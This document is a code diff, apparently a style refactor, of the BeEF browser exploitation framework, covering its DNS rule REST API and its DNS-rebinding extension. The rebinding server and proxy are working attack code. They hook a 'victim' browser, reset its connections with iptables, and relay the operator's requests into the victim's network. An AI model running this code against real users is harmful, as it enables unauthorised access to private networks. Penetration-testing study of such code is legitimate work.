raise InvalidDnsResponseError, 'PTR'
|
raise InvalidDnsResponseError, 'PTR'
|
||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::SOA
|
elsif resource == Resolv::DNS::Resource::IN::SOA
|
||||||
if response.is_a?(Array)
|
if response.is_a?(Array)
|
||||||
unless BeEF::Filters.is_valid_domain?(response[0]) &&
|
unless BeEF::Filters.is_valid_domain?(response[0]) &&
|
||||||
BeEF::Filters.is_valid_domain?(response[1]) &&
|
BeEF::Filters.is_valid_domain?(response[1]) &&
|
||||||
response[2].is_a?(Integer) &&
|
response[2].is_a?(Integer) &&
|
||||||
response[3].is_a?(Integer) &&
|
response[3].is_a?(Integer) &&
|
||||||
response[4].is_a?(Integer) &&
|
response[4].is_a?(Integer) &&
|
||||||
response[5].is_a?(Integer) &&
|
response[5].is_a?(Integer) &&
|
||||||
response[6].is_a?(Integer)
|
response[6].is_a?(Integer)
|
||||||
|
|
||||||
raise InvalidDnsResponseError, 'SOA'
|
raise InvalidDnsResponseError, 'SOA'
|
||||||
end
|
end
|
||||||
|
|
||||||
data = {
|
data = {
|
||||||
:mname => response[0],
|
mname: response[0],
|
||||||
:rname => response[1],
|
rname: response[1],
|
||||||
:serial => response[2],
|
serial: response[2],
|
||||||
:refresh => response[3],
|
refresh: response[3],
|
||||||
:retry => response[4],
|
retry: response[4],
|
||||||
:expire => response[5],
|
expire: response[5],
|
||||||
:minimum => response[6]
|
minimum: response[6]
|
||||||
}
|
}
|
||||||
|
|
||||||
sprintf "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
|
format "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
|
||||||
"Resolv::DNS::Name.create('%<rname>s'), " +
|
"Resolv::DNS::Name.create('%<rname>s'), " +
|
||||||
'%<serial>d, ' +
|
'%<serial>d, ' +
|
||||||
'%<refresh>d, ' +
|
'%<refresh>d, ' +
|
||||||
'%<retry>d, ' +
|
'%<retry>d, ' +
|
||||||
'%<expire>d, ' +
|
'%<expire>d, ' +
|
||||||
'%<minimum>d)',
|
'%<minimum>d)',
|
||||||
data
|
data
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
else
|
else
|
||||||
raise InvalidDnsResponseError, 'SOA'
|
raise InvalidDnsResponseError, 'SOA'
|
||||||
end
|
end
|
||||||
elsif resource == Resolv::DNS::Resource::IN::WKS
|
elsif resource == Resolv::DNS::Resource::IN::WKS
|
||||||
if response.is_a?(Array)
|
if response.is_a?(Array)
|
||||||
unless BeEF::Filters.is_valid_ip?(resource[0]) &&
|
if !BeEF::Filters.is_valid_ip?(resource[0]) &&
|
||||||
resource[1].is_a?(Integer) &&
|
resource[1].is_a?(Integer) &&
|
||||||
resource[2].is_a?(Integer)
|
resource[2].is_a?(Integer) && !resource.is_a?(String)
|
||||||
raise InvalidDnsResponseError, 'WKS' unless resource.is_a?(String)
|
raise InvalidDnsResponseError, 'WKS'
|
||||||
end
|
end
|
||||||
|
|
||||||
data = {
|
data = {
|
||||||
:address => response[0],
|
address: response[0],
|
||||||
:protocol => response[1],
|
protocol: response[1],
|
||||||
:bitmap => response[2]
|
bitmap: response[2]
|
||||||
}
|
}
|
||||||
|
|
||||||
sprintf "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
|
format "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
|
||||||
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
|
||||||
sprintf "t.fail!(:%s)", response.to_sym
|
format 't.fail!(:%s)', response.to_sym
|
||||||
else
|
else
|
||||||
raise InvalidDnsResponseError, 'WKS'
|
raise InvalidDnsResponseError, 'WKS'
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
raise UnknownDnsResourceError
|
raise UnknownDnsResourceError
|
||||||
end
|
end
|
||||||
|
|
||||||
src
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when an invalid pattern is given.
|
# Raised when an invalid pattern is given.
|
||||||
class InvalidDnsPatternError < StandardError
|
class InvalidDnsPatternError < StandardError
|
||||||
|
|
||||||
DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'
|
DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when a response is not valid for the given DNS resource record.
|
# Raised when a response is not valid for the given DNS resource record.
|
||||||
class InvalidDnsResponseError < StandardError
|
class InvalidDnsResponseError < StandardError
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Failed to add DNS rule with invalid response for %s resource record", message
|
str = 'Failed to add DNS rule with invalid response for %s resource record', message
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when an unknown DNS resource record is given.
|
# Raised when an unknown DNS resource record is given.
|
||||||
class UnknownDnsResourceError < StandardError
|
class UnknownDnsResourceError < StandardError
|
||||||
|
|
||||||
DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'
|
DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,10 +6,8 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Dns
|
module Dns
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests that query BeEF's DNS server
|
# This class handles the routing of RESTful API requests that query BeEF's DNS server
|
||||||
class DnsRest < BeEF::Core::Router::Router
|
class DnsRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
before do
|
before do
|
||||||
@dns ||= BeEF::Extension::Dns::Server.instance
|
@dns ||= BeEF::Extension::Dns::Server.instance
|
||||||
@@ -27,157 +25,136 @@ module BeEF
|
|||||||
|
|
||||||
# Returns the entire current DNS ruleset
|
# Returns the entire current DNS ruleset
|
||||||
get '/ruleset' do
|
get '/ruleset' do
|
||||||
begin
|
ruleset = @dns.get_ruleset
|
||||||
ruleset = @dns.get_ruleset
|
count = ruleset.length
|
||||||
count = ruleset.length
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:ruleset] = ruleset
|
result[:ruleset] = ruleset
|
||||||
result.to_json
|
result.to_json
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns a specific rule given its id
|
# Returns a specific rule given its id
|
||||||
get '/rule/:id' do
|
get '/rule/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
rule = @dns.get_rule(id)
|
rule = @dns.get_rule(id)
|
||||||
raise InvalidParamError, 'id' if rule.nil?
|
raise InvalidParamError, 'id' if rule.nil?
|
||||||
halt 404 if rule.empty?
|
|
||||||
|
|
||||||
rule.to_json
|
halt 404 if rule.empty?
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
rule.to_json
|
||||||
halt 400
|
rescue InvalidParamError => e
|
||||||
rescue StandardError => e
|
print_error e.message
|
||||||
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
halt 400
|
||||||
halt 500
|
rescue StandardError => e
|
||||||
end
|
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Adds a new DNS rule
|
# Adds a new DNS rule
|
||||||
post '/rule' do
|
post '/rule' do
|
||||||
begin
|
body = JSON.parse(request.body.read)
|
||||||
body = JSON.parse(request.body.read)
|
|
||||||
|
|
||||||
pattern = body['pattern']
|
pattern = body['pattern']
|
||||||
resource = body['resource']
|
resource = body['resource']
|
||||||
response = body['response']
|
response = body['response']
|
||||||
|
|
||||||
# Validate required JSON keys
|
# Validate required JSON keys
|
||||||
if pattern.nil? || pattern.eql?('')
|
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('')
|
||||||
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
|
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/
|
||||||
end
|
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array)
|
||||||
if resource !~ /\A[A-Z]+\Z/
|
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty?
|
||||||
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
|
|
||||||
end
|
|
||||||
unless response.is_a?(Array)
|
|
||||||
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
|
|
||||||
end
|
|
||||||
if response.empty?
|
|
||||||
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule'
|
|
||||||
end
|
|
||||||
|
|
||||||
# Validate resource
|
# Validate resource
|
||||||
case resource
|
case resource
|
||||||
when "A"
|
when 'A'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::A
|
dns_resource = Resolv::DNS::Resource::IN::A
|
||||||
when "AAAA"
|
when 'AAAA'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::AAAA
|
dns_resource = Resolv::DNS::Resource::IN::AAAA
|
||||||
when "CNAME"
|
when 'CNAME'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::CNAME
|
dns_resource = Resolv::DNS::Resource::IN::CNAME
|
||||||
when "HINFO"
|
when 'HINFO'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::HINFO
|
dns_resource = Resolv::DNS::Resource::IN::HINFO
|
||||||
when "MINFO"
|
when 'MINFO'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::MINFO
|
dns_resource = Resolv::DNS::Resource::IN::MINFO
|
||||||
when "MX"
|
when 'MX'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::MX
|
dns_resource = Resolv::DNS::Resource::IN::MX
|
||||||
when "NS"
|
when 'NS'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::NS
|
dns_resource = Resolv::DNS::Resource::IN::NS
|
||||||
when "PTR"
|
when 'PTR'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::PTR
|
dns_resource = Resolv::DNS::Resource::IN::PTR
|
||||||
when "SOA"
|
when 'SOA'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::SOA
|
dns_resource = Resolv::DNS::Resource::IN::SOA
|
||||||
when "TXT"
|
when 'TXT'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::TXT
|
dns_resource = Resolv::DNS::Resource::IN::TXT
|
||||||
when "WKS"
|
when 'WKS'
|
||||||
dns_resource = Resolv::DNS::Resource::IN::WKS
|
dns_resource = Resolv::DNS::Resource::IN::WKS
|
||||||
else
|
else
|
||||||
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
|
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
|
||||||
end
|
|
||||||
|
|
||||||
# Add rule
|
|
||||||
id = @dns.add_rule(
|
|
||||||
:pattern => pattern,
|
|
||||||
:resource => dns_resource,
|
|
||||||
:response => response
|
|
||||||
)
|
|
||||||
|
|
||||||
# Return result
|
|
||||||
result = {}
|
|
||||||
result['success'] = true
|
|
||||||
result['id'] = id
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidJsonError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while adding DNS rule (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Add rule
|
||||||
|
id = @dns.add_rule(
|
||||||
|
pattern: pattern,
|
||||||
|
resource: dns_resource,
|
||||||
|
response: response
|
||||||
|
)
|
||||||
|
|
||||||
|
# Return result
|
||||||
|
result = {}
|
||||||
|
result['success'] = true
|
||||||
|
result['id'] = id
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidJsonError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while adding DNS rule (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Removes a rule given its id
|
# Removes a rule given its id
|
||||||
delete '/rule/:id' do
|
delete '/rule/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
removed = @dns.remove_rule!(id)
|
removed = @dns.remove_rule!(id)
|
||||||
raise InvalidParamError, 'id' if removed.nil?
|
raise InvalidParamError, 'id' if removed.nil?
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result['success'] = removed
|
result['success'] = removed
|
||||||
result.to_json
|
result.to_json
|
||||||
rescue InvalidParamError => e
|
rescue InvalidParamError => e
|
||||||
print_error e.message
|
print_error e.message
|
||||||
halt 400
|
halt 400
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/dns handler.
|
# Raised when invalid JSON input is passed to an /api/dns handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
|
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/dns handler.
|
# Raised when an invalid named parameter is passed to an /api/dns handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
|
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Invalid \"%s\" parameter passed to /api/dns handler"
|
str = 'Invalid "%s" parameter passed to /api/dns handler'
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,28 +1,25 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module DNSRebinding
|
module DNSRebinding
|
||||||
module API
|
module API
|
||||||
|
module ServHandler
|
||||||
module ServHandler
|
BeEF::API::Registrar.instance.register(
|
||||||
|
BeEF::Extension::DNSRebinding::API::ServHandler,
|
||||||
BeEF::API::Registrar.instance.register(
|
BeEF::API::Server,
|
||||||
BeEF::Extension::DNSRebinding::API::ServHandler,
|
'pre_http_start'
|
||||||
BeEF::API::Server,
|
)
|
||||||
'pre_http_start'
|
|
||||||
)
|
|
||||||
|
|
||||||
def self.pre_http_start(http_hook_server)
|
|
||||||
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
|
||||||
address_http = config['address_http_internal']
|
|
||||||
address_proxy = config['address_proxy_internal']
|
|
||||||
port_http = config['port_http']
|
|
||||||
port_proxy = config['port_proxy']
|
|
||||||
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
|
||||||
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
|
||||||
end
|
|
||||||
|
|
||||||
|
def self.pre_http_start(_http_hook_server)
|
||||||
|
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||||
|
address_http = config['address_http_internal']
|
||||||
|
address_proxy = config['address_proxy_internal']
|
||||||
|
port_http = config['port_http']
|
||||||
|
port_proxy = config['port_proxy']
|
||||||
|
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
||||||
|
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,230 +1,225 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module DNSRebinding
|
module DNSRebinding
|
||||||
#Very simple HTTP server. Its task is only hook victim
|
# Very simple HTTP server. Its task is only hook victim
|
||||||
class Server
|
class Server
|
||||||
@debug_mode = false
|
@debug_mode = false
|
||||||
def self.log(msg)
|
def self.log(msg)
|
||||||
if @debug_mode
|
warn msg.to_s if @debug_mode
|
||||||
STDERR.puts msg.to_s
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.run_server(address, port)
|
def self.run_server(address, port)
|
||||||
server = TCPServer.new(address, port)
|
server = TCPServer.new(address, port)
|
||||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
|
||||||
loop do
|
loop do
|
||||||
s = server.accept
|
s = server.accept
|
||||||
Thread.new(s) do |socket|
|
Thread.new(s) do |socket|
|
||||||
victim_ip = socket.peeraddr[2].to_s
|
victim_ip = socket.peeraddr[2].to_s
|
||||||
|
|
||||||
log "-------------------------------\n"
|
log "-------------------------------\n"
|
||||||
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
|
log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"
|
||||||
|
|
||||||
response = File.read(File.expand_path('../views/index.html', __FILE__))
|
response = File.read(File.expand_path('views/index.html', __dir__))
|
||||||
configuration = BeEF::Core::Configuration.instance
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
|
||||||
hook_file = configuration.get("beef.http.hook_file")
|
hook_file = configuration.get('beef.http.hook_file')
|
||||||
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
|
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
|
||||||
|
|
||||||
response.sub!('path_to_hookjs_template', hook_uri)
|
|
||||||
|
|
||||||
start_string = socket.gets
|
response.sub!('path_to_hookjs_template', hook_uri)
|
||||||
socket.print "HTTP/1.1 200 OK\r\n" +
|
|
||||||
"Content-Type: text/html\r\n" +
|
|
||||||
"Content-Length: #{response.bytesize}\r\n" +
|
|
||||||
"Connection: close\r\n"
|
|
||||||
socket.print "\r\n"
|
|
||||||
socket.print response
|
|
||||||
socket.close
|
|
||||||
|
|
||||||
#Indicate that victim load all javascript and we can block it with iptables.
|
start_string = socket.gets
|
||||||
dr_config = configuration.get("beef.extension.dns_rebinding")
|
socket.print "HTTP/1.1 200 OK\r\n" +
|
||||||
if start_string.include?("load")
|
"Content-Type: text/html\r\n" +
|
||||||
log "[Server] Block with iptables\n"
|
"Content-Length: #{response.bytesize}\r\n" +
|
||||||
port_http = dr_config['port_http']
|
"Connection: close\r\n"
|
||||||
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
|
socket.print "\r\n"
|
||||||
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
|
socket.print response
|
||||||
else
|
socket.close
|
||||||
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
|
|
||||||
end
|
# Indicate that victim load all javascript and we can block it with iptables.
|
||||||
end
|
dr_config = configuration.get('beef.extension.dns_rebinding')
|
||||||
log "-------------------------------\n"
|
if start_string.include?('load')
|
||||||
|
log "[Server] Block with iptables\n"
|
||||||
|
port_http = dr_config['port_http']
|
||||||
|
if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)
|
||||||
|
IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],
|
||||||
|
'r+') do |io|
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
log "-------------------------------\n"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
class Proxy
|
class Proxy
|
||||||
@queries = Queue.new
|
@queries = Queue.new
|
||||||
@responses = {}
|
@responses = {}
|
||||||
@mutex_responses = nil
|
@mutex_responses = nil
|
||||||
@mutex_queries = nil
|
@mutex_queries = nil
|
||||||
@debug_mode = false
|
@debug_mode = false
|
||||||
|
|
||||||
def self.send_http_response(socket, response, heads={})
|
def self.send_http_response(socket, response, heads = {})
|
||||||
socket.print "HTTP/1.1 200 OK\r\n"
|
socket.print "HTTP/1.1 200 OK\r\n"
|
||||||
|
|
||||||
headers = {}
|
headers = {}
|
||||||
headers["Content-Type"]="text/html"
|
headers['Content-Type'] = 'text/html'
|
||||||
headers["Content-Length"]=response.size.to_s
|
headers['Content-Length'] = response.size.to_s
|
||||||
headers["Connection"]="close"
|
headers['Connection'] = 'close'
|
||||||
headers["Access-Control-Allow-Origin"]="*"
|
headers['Access-Control-Allow-Origin'] = '*'
|
||||||
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
|
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
|
||||||
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
|
headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'
|
||||||
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
|
headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'
|
||||||
|
|
||||||
headers_a = heads.to_a
|
headers_a = heads.to_a
|
||||||
headers_a.each do |header, value|
|
headers_a.each do |header, value|
|
||||||
headers[header] = value
|
headers[header] = value
|
||||||
end
|
end
|
||||||
|
|
||||||
headers.to_a.each do |header, value|
|
headers.to_a.each do |header, value|
|
||||||
socket.print header+": "+value+"\r\n"
|
socket.print header + ': ' + value + "\r\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
socket.print "\r\n"
|
socket.print "\r\n"
|
||||||
socket.print response
|
socket.print response
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.log(log_message)
|
def self.log(log_message)
|
||||||
if @debug_mode
|
warn log_message if @debug_mode
|
||||||
STDERR.puts log_message
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.read_http_message(socket)
|
def self.read_http_message(socket)
|
||||||
message = {}
|
message = {}
|
||||||
message['start_string'] = socket.gets.chomp
|
message['start_string'] = socket.gets.chomp
|
||||||
message['headers'] = {}
|
message['headers'] = {}
|
||||||
message['response'] = ""
|
message['response'] = ''
|
||||||
|
c = socket.gets
|
||||||
|
while c != "\r\n"
|
||||||
|
name = c[/(.+): (.+)/, 1]
|
||||||
|
value = c[/(.+): (.+)/, 2]
|
||||||
|
message['headers'][name] = value.chomp
|
||||||
c = socket.gets
|
c = socket.gets
|
||||||
while c != "\r\n" do
|
end
|
||||||
name = c[/(.+): (.+)/, 1]
|
length = message['headers']['Content-Length']
|
||||||
value = c[/(.+): (.+)/, 2]
|
if length
|
||||||
message['headers'][name] = value.chomp
|
# Ruby read() doesn't return while not read all <length> byte
|
||||||
c = socket.gets
|
resp = socket.read(length.to_i)
|
||||||
end
|
message['response'] = resp
|
||||||
length = message['headers']['Content-Length']
|
end
|
||||||
if length
|
message
|
||||||
#Ruby read() doesn't return while not read all <length> byte
|
|
||||||
resp = socket.read(length.to_i)
|
|
||||||
message['response'] = resp
|
|
||||||
end
|
|
||||||
return message
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.handle_victim(socket, http_message)
|
def self.handle_victim(socket, http_message)
|
||||||
log "[Victim]request from victim\n"
|
log "[Victim]request from victim\n"
|
||||||
log http_message['start_string'].to_s+"\n"
|
log http_message['start_string'].to_s + "\n"
|
||||||
|
|
||||||
if http_message['start_string'].include?("POST")
|
if http_message['start_string'].include?('POST')
|
||||||
#Get result from POST query
|
# Get result from POST query
|
||||||
log "[Victim]Get the result of last query\n"
|
log "[Victim]Get the result of last query\n"
|
||||||
|
|
||||||
#Read query on which asked victim
|
# Read query on which asked victim
|
||||||
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
|
query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]
|
||||||
log "[Victim]asked path: "+query+"\n"
|
log '[Victim]asked path: ' + query + "\n"
|
||||||
|
|
||||||
length = http_message['headers']['Content-Length'].to_i
|
length = http_message['headers']['Content-Length'].to_i
|
||||||
content_type = http_message['headers']['Content-Type']
|
content_type = http_message['headers']['Content-Type']
|
||||||
log "[Victim]Content-type: "+content_type.to_s+"\n"
|
log '[Victim]Content-type: ' + content_type.to_s + "\n"
|
||||||
log "[Vicitm]Length: "+length.to_s+"\n"
|
log '[Vicitm]Length: ' + length.to_s + "\n"
|
||||||
|
|
||||||
response = http_message['response']
|
|
||||||
log "[Victim]Get content!\n"
|
|
||||||
|
|
||||||
send_http_response(socket, "ok")
|
response = http_message['response']
|
||||||
socket.close
|
log "[Victim]Get content!\n"
|
||||||
|
|
||||||
log "[Victim]Close connection POST\n"
|
send_http_response(socket, 'ok')
|
||||||
log "--------------------------------\n"
|
socket.close
|
||||||
|
|
||||||
@mutex_responses.lock
|
log "[Victim]Close connection POST\n"
|
||||||
@responses[query] = [content_type, response]
|
log "--------------------------------\n"
|
||||||
@mutex_responses.unlock
|
|
||||||
elsif http_message['start_string'].include?("OPTIONS")
|
|
||||||
send_http_response(socket, "")
|
|
||||||
socket.close
|
|
||||||
log "[Victim]Respond on OPTIONS reques\n"
|
|
||||||
log "--------------------------------\n"
|
|
||||||
else
|
|
||||||
#Look for queues from beef owner
|
|
||||||
log "[Victim]Waiting for next query..\n"
|
|
||||||
while @queries.size == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
#Get the last query
|
|
||||||
@mutex_queries.lock
|
|
||||||
log "[Victim]Get the last query\n"
|
|
||||||
last_query = @queries.pop
|
|
||||||
log "[Victim]Last query:"+last_query.to_s+"\n"
|
|
||||||
@mutex_queries.unlock
|
|
||||||
|
|
||||||
response = last_query[2]
|
|
||||||
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
|
|
||||||
log "[Victim]Send next query to victim's browser\n"
|
|
||||||
log "---------------------------------------------\n"
|
|
||||||
socket.close
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#Handle request from BeEF owner
|
|
||||||
def self.handle_owner(socket, http_message)
|
|
||||||
log "[Owner]Request from owner\n"
|
|
||||||
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
|
|
||||||
|
|
||||||
if http_message['start_string'].include?("GET")
|
|
||||||
if path != nil
|
|
||||||
log "[Owner]Need path: "+path+"\n"
|
|
||||||
@queries.push(['GET', path, ''])
|
|
||||||
end
|
|
||||||
elsif http_message['start_string'].include?("POST")
|
|
||||||
log "[Owner]Get POST request\n"
|
|
||||||
if path != nil
|
|
||||||
@queries.push(['POST', path, http_message['response']])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#Waiting for response, this check should not conflict with thread 2
|
|
||||||
while @responses[path] == nil
|
|
||||||
end
|
|
||||||
|
|
||||||
@mutex_responses.lock
|
@mutex_responses.lock
|
||||||
log "[Owner]Get the response\n"
|
@responses[query] = [content_type, response]
|
||||||
response_a = @responses[path]
|
|
||||||
@mutex_responses.unlock
|
@mutex_responses.unlock
|
||||||
|
elsif http_message['start_string'].include?('OPTIONS')
|
||||||
response = response_a[1]
|
send_http_response(socket, '')
|
||||||
content_type = response_a[0]
|
|
||||||
|
|
||||||
send_http_response(socket, response, {'Content-Type'=>content_type})
|
|
||||||
|
|
||||||
log "[Owner]Send response to owner\n"
|
|
||||||
log "-------------------------------\n"
|
